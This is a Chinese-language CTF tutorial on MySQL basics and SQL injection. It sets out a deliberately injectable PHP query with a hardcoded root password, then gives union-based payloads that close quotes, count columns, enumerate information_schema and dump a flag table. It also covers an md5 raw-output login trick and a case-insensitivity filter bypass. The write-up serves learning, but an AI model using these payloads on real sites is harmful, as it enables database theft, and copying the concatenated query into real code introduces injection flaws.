MySQL数据库基础知识及注入
一、
网站后台的PHP代码
echo "HELLO";
$id = $_GET['id']; #$id使用GET方式传入
$conn = mysqli_connect('localhost', 'root', '913347102', 'tpshop'); #连接MySQL数据库
if(!$conn)
die("Connection failed:".mysqli_connect_error()); #判断是否连接成功
$sql = "select email from neko_users where user_id='$id'"; #这里的$id就是我们在网址栏输入的数值
$sql = "select email from neko_users where user_id=$id"; #在PHP中,字符串变量用双引号来表示
$result = mysqli_query($conn, $sql); #在数据库中查询
#var_dump($result);
$row = mysqli_fetch_array($result);
var_dump($row); #输出查询结果
#echo $row['id']."\n";
?>
第二句高亮语句是网站后台的PHP代码里本身就有的,意思是从neko_users这个表中查询email列,联合查询(union)的条件是前后两个select语句(或更多)查询的列数量必须是一样的,否则会报错。
$id 在PHP代码中有不同的传入方式,比如上述代码可能是'$id'和$id
值得注意:在id='$id'这种情况下,使用联合查询时,要考虑到传入的语句在后台代码中的完整性。比如
id=1 union select 1,database() ==> $sql = "select email from neko_users where user_id='1 union select 1,database()'"
这样显然是错误的,所以要在传入的语句中加 ' 闭合$id,改进如下
id=1' union select 1,database() # ==> $sql = "select email from neko_users where user_id='1' union select 1,database() #'"
1后面的 ' 用于闭合后台代码中的'$id.
#、//、 /* */都是PHP代码中的注释符,#、-- (注意--后有一个空格)、/* */是MySQL数据库中的注释符,最后的#是为了注释掉原本'$id'的单引号,形成一个完整的MySQL语句。
实例参照该CTF题目:http://ctf5.shiyanbar.com/8/index.php?id=1
比如网页中网址的id=1,就是我们传入后台的参数“$id”,后台会在连接的数据库中查询后台PHP语句列名=1的列,输出表中列中=1的那一行的所有内容
order by:可以用来查询该表有多少列(该题用不上,只是在实例中尝试)
①用于根据指定的列最结果进行排序,且默认按照升序对记录进行排序。举例:
②如果要使用降序进行排序,可以使用 order by ... desc,举例:
回到题目,首先我们使用order by查询该表有几列
注意,在题目中使用的是order by n,这里的n是几就对应表中的第几列。如果表只有5列,你要order by 6,即按照第六列进行排序,就会报错
结果:报错
尝试查询2列:order by 2
说明该表只有两列
联合查询
要使用联合查询一定得知道网站后台代码的第一个select语句中的查询列数量是多少。
知识点:当传入的参数id在表中查询不到时,返回会为空。
在题目返回行数有限制时,可以让id=-1(因为有-1这一列),这样查询不到等于-1的列,就会返回空。就会把位置留给后面的查询语句(本题中没有行数限制)
尝试第一个select语句查询的列数量,使用联合查询
id=1 union select 1,2,3 #id和等号之间不能有空格,Get的传参方式决定了有空格Get无法接受到
报错:
id=1 union select 1,2
成功:说明第一个select语句查询了两列
查询当前的数据库名:database()函数
id=1 union select 1,database() #database()返回数据库名
曝库名: my_db
从库中曝表名
select table_name from information_schema.tables where table_schema='databasename' and table_type='base type';
重点:https://cltheorem.github.io/2018/04/basic-sql-injection-1/(参考这个)
id=1 union select table_name,group_concat(column_name) from information_schema.columns where table_schema = 'my_db' group by table_name
group_concat():将同一个表中的列连接显示在一行,一般与group by一同使用。
group by: 根据一个或多个列对结果集进行分组。在上列中表示根据table_name表名进行分类,把每一个表的列分组在一行。
information_schema是一个数据库,这个数据库保存了MySQL服务器所有数据库的信息。简单来说,这台MySQL服务器上,到底有哪些数据库、每个库有哪些表,表有哪些列,各个数据库要什么权限才能访问等都保存在information_schema库中。
查询结果
根据查询结果,猜测flag在thiskey表中,于是跟进thiskey表中,曝k0y列
id=1 union select 1,k0y from thiskey #注意要查询两列
得到flag,提交成功
二、
无法注入--例题
0x00 Basic Knowledge
type:表示输入内容是否可见,password表示不可见,text、txt表示可见
name:表示赋予输入内容的变量,也就是给我输入的东西取一个名字,在传入到后台
题目:http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
注入题目思路:查看网页源码
代码分析:
我输入密码的变量名为password,且以POST方式传入后台。分析$sql语句可知,$sql由三个部分连接而成,第一部分是从select到 ' 的字符串,第二部分是md5($password,true),第三部分是 ' ,中间用连接符 . 进行连接成一个字符串。我输入的密码必须经过MD5加密后与数据库中password相同才能输出结果,而我们输入的内容全在$password中,不论输入什么都会被MD5函数加密,所以无法进行注入。
转换思路
发现这个php的名称特别奇怪,尝试输入答案,拿到flag
三、MYSQL语言对大小写不敏感导致的注入
0x00 基础知识
SQL对大小写不敏感!意思是数据库中没有除了大小写有区别其他完全相同的两列或两张表。意思是不可能同时存在School和school这样的两列。
例:查询'a' = 'A',返回为1,说明不区分大小写。
0x01 例题:http://wargame.kr:8080/login_filtering/
查看源码:
if(isset($row['id'])){
if($id=='guest' || $id=='blueh4g'){
echo "your account is blocked";
}else{
echo "login ok"."
";
echo "Password : ".$key;
}
}else{
echo "wrong..";
}
you have blocked accounts.
guest / guest
blueh4g / blueh4g1234ps
先用他给出的两个账户进行登录尝试,发现两个用户登陆后都会显示“ you have blocked accounts.”分析代码可知,进入了第一个大的if语句里,然后进入了第二个小的if语句,如果要拿到flag,就要绕过小的if语句。利用SQL语句大小写不敏感 ==> Guest / guest,拿到flag